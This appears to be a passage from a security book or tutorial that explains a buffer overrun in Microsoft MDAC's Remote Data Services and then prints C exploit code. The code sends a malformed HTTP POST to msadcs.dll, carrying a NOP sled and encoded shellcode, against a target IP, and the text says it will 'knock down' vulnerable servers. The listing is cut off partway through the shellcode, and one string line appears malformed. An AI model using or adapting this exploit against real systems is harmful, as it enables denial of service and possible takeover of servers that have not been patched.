TABLE OF CONTENTS Microsoft Data Access Components (MDAC) is a suite of components that provide database access for Windows platform application. One of the components within MDAC, specifically Remote Data Services (RDS), enables controlled Internet access to remote data resources through Internet Information Services (IIS.) Due to incorrect string handling within the RDS interface, a malicious user can gain control of the remote system via a buffer overrun. Specifically, by sending a maliciously malformed packet to a vulnerable system it is possible to crash the server and create a denial of service condition. The following exploit code has a maliciously crafted packet and will "knock down" vulnerability Microsoft web servers. It is pertinent to note that this vulnerability also utilizes our own home-grown Application Defense Hack Open Source Include File.
Microsoft has released a patch to remedy this vulnerability in all of the corresponding software.
<b class="bold">1</b> #include<b class="bold">2</b> #include "hack.h" <b class="bold">3</b> <b class="bold">4</b> int main(int argc, char *argv[]) <b class="bold">5</b> { <b class="bold">6</b> int port[] = {80}; <b class="bold">7</b> char* targetip; <b class="bold">8</b> char* output = NULL; <b class="bold">9</b> if (argc < 2)<b class="bold">10</b> {<b class="bold">11</b> printf("MDAC DoS usage:\r\n");<b class="bold">12</b> printf(" %s \r\n", argv[0]);<b class="bold">13</b> return(0);<b class="bold">14</b> }<b class="bold">15</b> <b class="bold">16</b> targetip = argv[1];<b class="bold">17</b> <b class="bold">18</b> //Exploit////////////////////////////////<b class="bold">19</b> <b class="bold">20</b> char* send =<b class="bold">21</b> "POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1\r\" <b class="bold">22</b> "User-Agent: ACTIVEDATA\r\nHost: blahblah\r\n"<b class="bold">23</b> "Content-Length: 1075\r\n\r\n"<b class="bold">24</b> "ADCClientVersion:01.06\r\nContent-Type: multipart/mixed;boundary=;"<b class="bold">25</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">26</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">27</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" <b class="bold">28</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">29</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">30</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">31</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x30\x90\x90"<b class="bold">32</b>"\x90\x90\x90\x90\xeb\x09\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">33</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">34</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">35</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">36</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">37</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<b class="bold">38</b>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc"<b class="bold">39</b>"\x90\x90\x90\xc7\x05\x20\xf0\xfd\x7f\xd6\x21\xf8\x77\xeb\x03\x5d\xeb"<b class="bold">40</b>"\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90\x8b\xc5\x33\xc9\x66"<b class="bold">41</b>"\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95\x64\xe2\x14\xad"<b class="bold">42</b>"\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95\xc8\x1e\x40"<b class="bold">43</b>"\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3\xed\x96"<b class="bold">44</b>"\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa\x96"<b class="bold">45</b>"\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"<b class="bold">46</b>"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54"<b class="bold">47</b>"\xa6\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95"<b class="bold">48</b>"\x96\x56\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95"<b...
